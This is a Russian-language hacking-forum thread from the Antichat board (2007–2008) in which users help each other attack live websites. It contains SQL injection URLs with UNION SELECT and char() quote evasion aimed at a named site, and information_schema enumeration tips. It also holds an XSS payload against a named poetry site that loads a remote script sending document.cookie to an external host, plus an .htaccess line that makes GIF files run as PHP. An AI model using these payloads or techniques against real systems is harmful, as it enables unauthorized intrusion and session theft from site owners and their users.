07.11.2007, 20:06
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от Jetexe
Есть Sql Inj в движке и есть Xss в некотором параметре в профиле пользователя. Нужно, внедрить Xss в этот параметр строго у определённого юзера из БД. Есть варианты?
Если это мускул, то нет вариантов, если другой тип БД, то смотря какой тип
__________________
Карфаген должен быть разрушен...
|
|
|
08.11.2007, 18:14
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от gemaglabin
Ок , а если иньекция в order by и вывода нет ? ответит кто? %)
Чет универсального способа немогу придумать, ты хоть намекни, я понимаю, что при таком раскладе нужно составить условие при котром один из вариантов вызывает ошибку, а т.к. сначала происходит проверка синтаксиса то и этот вариант отпадает, еще есть вариант использования into outfile но это настолько специфично (зависит от настроек php и прав пользователя mysql) что я не рассматриваю это как вариант
__________________
Карфаген должен быть разрушен...
|
|
|
|
28.01.2008, 07:39
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Сообщение от bobob
плз, доковыряйте ктото, у мя ума не хватает, а то намучался, так, что аж денвер пришлось устанавливать, чтоб не писать в ручную все колонки, скрипт забацал на вывод цифры и плюсика до 146 штук 
а вещь-то думаю ценная, там платный мембершип и тп.
ну эт не главное, меня деньги не интересуют, меня больше процесс, так что главное распишите плз, что делали дальше, если получится 
 никак не подберу таблички и колонки, а information_schema.tables показывает "CHARACTER_SETS" а какой с него толк  Access Denied
|
|
|
|
02.02.2008, 21:22
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Сообщение от bobob
вопрос в следующем:
как в схеме +from+information_schema.columns+where+table_name= 'xxx'/*
заменить кавычки вокруг слова xxx ??????
вылетает следующее:
если юзать +from+information_schema.columns+where+table_name= char(39)xxx'/*
то выводит:
первая хавается, а вторая нет.
если +from+information_schema.columns+where+table_name= char(39)xxxchar(39)/*
то:
последний чар сливается со словом....
с хексом ситуация такая же!
если заменить 'xxx' (с кавычками вместе) на чар или хекс, то всё идет гуд, ошибки нету, но просто не выводятся данные, то есть нету тех циферок, которые пробиваются на страничке (надеюсь вы меня поняли) =)
вот что посоветуете сделать, что б всё-таки всё прошло удачно?????
Ты немного не правильно понимаешь процедуру кодировки через char(). В скул-запросе чар используется следующим образом
+from+information_schema.columns+where+table_name= char(ascii,ascii,...,)
например
+from+information_schema.columns+where+table_name= char(116,101,115,116)/*
char(116,101,115,116)=test БЕЗ ковычек.
|
|
|
|
05.02.2008, 21:13
|
|
Новичок
Регистрация: 04.02.2008
Сообщений: 4
С нами:
9614495
Репутация:
4
|
|
Пассивный XSS
Сообщение от it's my
Код:
http://www.poetryclub.com.ua/author.php?id=3873'%22%3E%3C/script%3E'%22%3E%3Cscript%3Ealert(document.coockie)%3C/script%3E
--
не подскажите почему не работает мой скрипт? мой скрипт -
Сообщение от it's my
Код:
document.location.href="http://www.poetryclub.com.ua/author.php?id=3873'%22%3E%3C/script%3E%27%22%3E%3Cscript%20%73%72%63%3D%68%74%74%70%3A//%78%78%73%2D%78%78%73%2E%6E%6D%2E%72%75%2F%6A%73%2E%6A%73%3E%20%3C/script%3E%0D%0A";
по сути это
Сообщение от it's my
Код:
document.location.href="http://www.poetryclub.com.ua/author.php?id=3873'"></script>'"><script src=http://xxs-xxs.nm.ru/js.js> </script>";
а в оригенале
Сообщение от it's my
Код:
http://www.poetryclub.com.ua/author.php?id=3873'"></script>'"><script>alert(document.coockie)</script>>";
xxs-xxs.nm.ru/js.js - там
Сообщение от it's my
Код:
<script> img = new Image(); img.src="http://s.netsec.ru/Onex.gif?"+document.cookie;</script>
Помогите плиз разобраться =(
И еще вопрос.. если тырю куки с zzz.ru то и дыра должна быть в zzz.ru ? Спасибо |
|
|
|
21.02.2008, 19:54
|
|
Познающий
Регистрация: 21.01.2008
Сообщений: 85
С нами:
9633635
Репутация:
338
|
|
Вопрос опять по SQL =)
Вот есть SQL Инекция
Код:
http://www.petrovacnamoru.net/petrovac/kafe-barovi/?id=0x3127%20union+select+1,2,3,4/*
Ну например ввожу я там version() и вместо того чтобы показать версию он мне в ответ вот что:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Что это означает?) |
|
|
|
14.03.2008, 05:44
|
|
Познающий
Регистрация: 10.11.2007
Сообщений: 36
С нами:
9737661
Репутация:
5
|
|
Нашел на сайте уязвимости:
xss vulnerability : /lol/comment.php?entry=http://www.google.fr/webhp%3f<balisexss>%22%27
bad http code 404 /lol/?page=http://www.google.fr/webhp%3f<balisexss>%22%27&Submit=default
Что посоветуете?
ПОМОГИТЕ пожалуйста!!! 
Последний раз редактировалось tick; 14.03.2008 в 15:09..
|
|
|
|
22.03.2008, 18:32
|
|
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
С нами:
10354028
Репутация:
163
|
|
Сообщение от Dimi4
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''phpbb_users''' at line 1
''phpbb_users''' идет экранирование кавычек одиночных... попробуй обойди с помощью char()
|
|
|
|
22.03.2008, 18:38
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от LolFEm
''phpbb_users''' идет экранирование кавычек одиночных... попробуй обойди с помощью char()
ндя, нет там никакого экранирования, посмотри еще раз на ошибку, просто кавычка скриптом добавляется и все, т.е. надо отсекать ее с помощью комментов /*
__________________
Карфаген должен быть разрушен...
|
|
|
|
26.03.2008, 19:06
|
|
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
С нами:
10447337
Репутация:
807
|
|
Сообщение от Ershik
Если создать файл .htaccess и вписать в него следующую строчку:
AddTypeapplication/x-httpd-php gif - то все файлы с gif будут интрепетироваться как php
addtype application/x-httpd-php gif
|
|
|
|
|
 |
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Комбинированный вид
